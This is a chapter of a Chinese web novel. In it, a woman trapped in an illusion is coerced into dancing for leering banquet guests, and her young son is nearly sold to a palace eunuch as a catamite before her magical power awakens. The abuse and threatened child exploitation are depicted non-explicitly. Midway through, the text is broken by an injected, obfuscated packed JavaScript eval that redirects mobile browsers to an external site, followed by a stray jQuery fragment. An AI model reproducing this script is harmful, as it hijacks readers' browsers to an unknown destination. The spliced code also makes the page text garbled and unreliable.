24. 上元节:紫姑卜
作品:《岁时食肆[美食]》 第二十五日。
这一日,崔家张灯结彩,大宴宾客,丝竹管弦之声从前厅隐隐传来。
姜糖(阿那瑰)被几个膀大腰圆的仆妇粗鲁地从柴房一路拖拽进屋子。崔夫人端坐堂上,慢条斯理地品着新茶,脚下扔着一件只有短短几片布料的裙子。
她身后,一个仆役死死扭着不断挣扎的二狗,孩子嘴里被塞了布团,只能发出呜呜的声音,一双眼睛因为惊恐和愤怒瞪得极大。
“今晚郎君宴请贵客,正缺个助兴的。”崔夫人上下打量着蜷缩在角落的姜糖(阿那瑰),语气轻佻。
“你这胡女,一定也擅《胡旋舞》。今日便给你个机会,去前厅跳上一曲,让贵客们也开开眼。”
姜糖(阿那瑰)猛地抬头,眼中满是屈辱和抗拒。在众目睽睽之下,如同舞姬伶人般被观赏取乐,这比任何□□折磨都更摧残人的意志。
“怎么?不愿意?”崔夫人似乎早就料到她的反应,她慢悠悠地走到二狗身边,尖利的指甲狠狠地划过孩子稚嫩的脸颊,接下来说出的话语充满嘲讽与威胁。
“我听说你自甘堕落被家族除名以前,曾姓贺兰。你既然曾为勋臣八姓的贵女,想必绝不可能没见过胡舞。你若不去,或者跳得不好,惹了贵客不快……你这宝贝儿子,怕是受不住接下来的‘管教’。”
贺兰?好熟悉的姓氏,谁姓贺兰?姜糖恍惚了一下。
二狗在仆役手中剧烈地挣扎起来,看向母亲的眼神充满了反对和抗争。
姜糖能感受到阿那瑰的痛楚,保护孩子,是母亲最本能的选择,哪怕付出尊严的代价。
“我……我去。”她听到自己(阿那瑰)的声音干哑而颤抖。
她被强行换上了那件暴露的、充满异域风情的舞裙,布料单薄,难以蔽体。
在仆役的押送下,她如同待宰的羔羊,被推到了觥筹交错、喧嚣热闹的前厅。
华灯璀璨,宾客满座。
主位上的负心人只是淡淡瞥了她一眼,便继续与旁人谈笑,仿佛她只是一个无关紧要的物件。
而席间那些喝得醉醺醺的男客们,目光在她身上逡巡,带着毫不掩饰的猎奇与欲望。
胡乐响起,姜糖(阿那瑰)被迫在铺着华丽地毯的厅中旋转。
每一个动作都僵硬无比,每一次抬眼都能看到那些令人作呕的、带着醉意和淫邪的目光。
客人们的笑声变得暧昧,议论声不堪入耳。
“啧,这胡女竟然如此绝美、身段也一流……”
“崔兄好福气啊,金屋藏娇……”
“来来来,小美人,给爷斟杯酒!”
一个满脸油光、喝得东倒西歪的客人,竟摇摇晃晃地站起身,伸出咸猪手,试图来拉她的衣袖,嘴角挂着低级而恶心的笑意。
在幻境与现实交织的混乱中,姜糖属于自我的意识在疯狂呐喊。
这不是真的。这只是由紫姑神怨念构筑的、阿那瑰的过去。但她绝不能眼睁睁看着阿那瑰的尊严被如此践踏,哪怕只是在幻境中。
姜糖二十几日来的第一次,真正地获得了身体的控制权,她猛地停下舞步,环顾四周。
那些贪婪的嘴脸,主位上冷漠的负心人,还有厅外隐约传来的、二狗被捂住嘴的呜咽声。
她压抑着愤怒,深深地看了一眼那个试图靠近她的醉客,带着一丝嘲弄地说:“你也配?”
姜糖猛地转身,在所有人惊愕的目光中,用尽全身力气朝着不远处那扇敞开通往露台的雕花木门冲去。
“拦住她!”有人尖叫道。
但已经晚了。
姜糖的身影冲出露台,在夜空中划出一道弧线,朝着冰冷的石板地面坠落。
“啊——!”
厅内瞬间一片死寂,随即爆发出惊恐的尖叫。
那个试图调戏她的醉客,酒瞬间醒了大半,脸色煞白地瘫坐在地,□□处湿了一片,显然受惊不小。
然而,预想中骨断筋折的剧痛并未传来。
在坠落的瞬间,姜糖体内的司历尺发出一阵温润的光芒,一股柔和的力量如同无形的手,轻轻托了她一下,化解了大部分下坠的力道。
“砰!”
她重重地摔在冰冷的石板上,浑身剧痛,仿佛散了架,喉头一甜,一口鲜血喷了出来。骨头应该没有断,但内腑受到了震荡,全身无处不痛。
她躺在那里望着夜空,大口喘着气。
身为现代人,她可以忍受很多东西,唯独忍受不了人格被践踏。哪怕用最极端的方式,她也要保住阿那瑰在这幻境中最后的尊严。
很快,她被仆役拖走,关进了更阴暗的牢房。崔夫人气急败坏,却又因为她这一跳和未死而惊疑不定,加之宾客受惊,暂时没敢再对阿那瑰施加更过分的折辱。
姜糖躺在冰冷的草堆上,忍受着身体的疼痛,心中却有一丝快意。她知道,自己赌对了,这幻境里司历尺虽然一直未曾现形,但在关键时刻还是护住了她。
可在真实的记忆中,那个身为母亲的阿那瑰,并没有司历尺护体。她或许只能屈从,或许承受了更多难以想象的折辱与轻薄,才勉强换得儿子一时的平安。
真实的痛苦,远比幻境更加黑暗,更加没有退路。
此刻的姜糖,因为司历尺的庇护和局外人的身份,尚且能用自毁的方式赢得一丝喘息。而真正的阿那瑰,在那个吃人的宅院里,连求死,都可能是一种奢望。
第二十九日。
崔夫人或许是终于意识到,她此前的一切折磨行为,都无法真正地从身体和意志层面,将这个既脆弱又坚韧的女人摧毁。
于是崔夫人不知何时开始,筹谋起了一个极端恶毒的计策。她看着二狗那张虽然瘦弱却愈发显得清秀灵动的脸,再看看自己那肥头大耳、愚钝不堪的儿子,一个阴损的念头滋生出来。
“这小野种,长得倒是一副好皮囊。”崔夫人用帕子掩着口鼻,仿佛二狗是什么脏东西,眼中却闪烁着恶毒的光。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538255|186137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“留在府里也是浪费粮食,不如送给宫里的贵人们当个玩意儿,能给家里换点好处。”
“娈童”二字,瞬间刺穿了姜糖(阿那瑰),身体里属于母亲的那部分意识发出了濒死般的哀鸣。
现实中,阿那瑰正是偷听到了这个计划,才不惜一切代价,带着二狗拼死逃出了这个魔窟,但也因此耗尽了生命最后的元气,几年后在贫病交加中早逝。
而现在,在由紫姑神怨念构筑的幻境里,这一幕再次上演了。
崔夫人娘家势大,与宫中宦官确有往来。
她竟真的召来了一个面色苍白、眼神阴鸷的内侍,那人用审视货物的目光,上下打量着被强行按住、拼命挣扎的二狗。
“嗯……根骨尚可,眉眼也伶俐,好生调理一番,是个可造之材。”内侍的嗓音尖细阴冷,如同毒蛇吐信。
“不——!放开我儿子!你们放开他!”姜糖(阿那瑰)疯狂地挣扎起来,仆妇狠狠地反手抽在她的脸上,打出青紫血痕。她浑然不觉,只知道不能眼睁睁看着儿子被推进那样的火坑,绝不!
年幼的二狗似乎也明白了即将到来的命运。
他不再沉默,发出了凄厉的尖叫,小小的身体爆发出惊人的力量,竟然挣脱了一瞬,连滚带爬地扑向姜糖(阿那瑰),紧紧抱住她的腿,嘶喊着:“阿娘!阿娘救我!我不去!我不去!”
那内侍皱了皱眉,似乎嫌吵。
崔夫人立刻赔笑:“让公公见笑了。这小野种欠管教!”她厉声对仆役喝道,“还愣着干什么?把这小贱种给我拉开!堵上嘴!”
几个仆役上前,粗暴地去撕扯二狗。孩子死死抱着母亲的腿,手指因为用力而关节发白,哭喊声被捂住,变成绝望的呜咽。
目睹儿子遭受如此厄运,感受着阿那瑰那焚尽一切的绝望与怨恨,姜糖属于自我的意识,与阿那瑰的悲愤彻底共鸣、融合。
凭什么?!
凭什么善良要忍受欺凌?!
凭什么恶人能肆意妄为?!
凭什么我的孩子要承受这样的命运?!
一股灼热的力量从小腹升起,瞬间流遍四肢百骸。那不是阿那瑰的力量,那是属于姜糖司历一脉的,沟通岁时、执掌秩序的职责之力。
她一直被动承受、无法挣脱的记忆枷锁轰然碎裂。
“住手。”
一声清叱,并非来自阿那瑰柔弱的喉咙,而是源自姜糖被激发的神魂。
声音不高,有几分嘶哑。却带着一种奇异又震慑人心的力量,像寒冬里骤然炸响的春雷。
整个喧闹的庭院,瞬间为之一静。
所有仆役,包括那个阴鸷的内侍,都惊疑不定地看向声音的来源,那个一直逆来顺受、如同蝼蚁般的胡女。
只见她缓缓抬起头,原本总是盈满泪水和恐惧的眸子里,此刻燃烧着冰冷的、金色的火焰。
她向上托起的掌心里凭空出现一支凌空漂浮的长尺,正散发出任何人无法忽视的金色光晕。

